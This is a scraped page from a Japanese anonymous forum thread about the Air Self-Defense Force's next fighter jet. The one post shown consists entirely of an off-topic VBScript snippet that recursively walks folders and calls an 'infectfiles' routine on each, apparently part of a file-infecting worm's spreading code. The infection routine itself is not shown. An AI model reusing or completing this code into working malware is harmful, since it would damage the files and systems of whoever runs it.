このページに関してのお問い合わせはこちら
空自次期主力戦闘機考察スレ219
ツイート
698
:
名無し三等兵
:
2006/07/03(月) 21:39:51 ID:phugN+8h
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub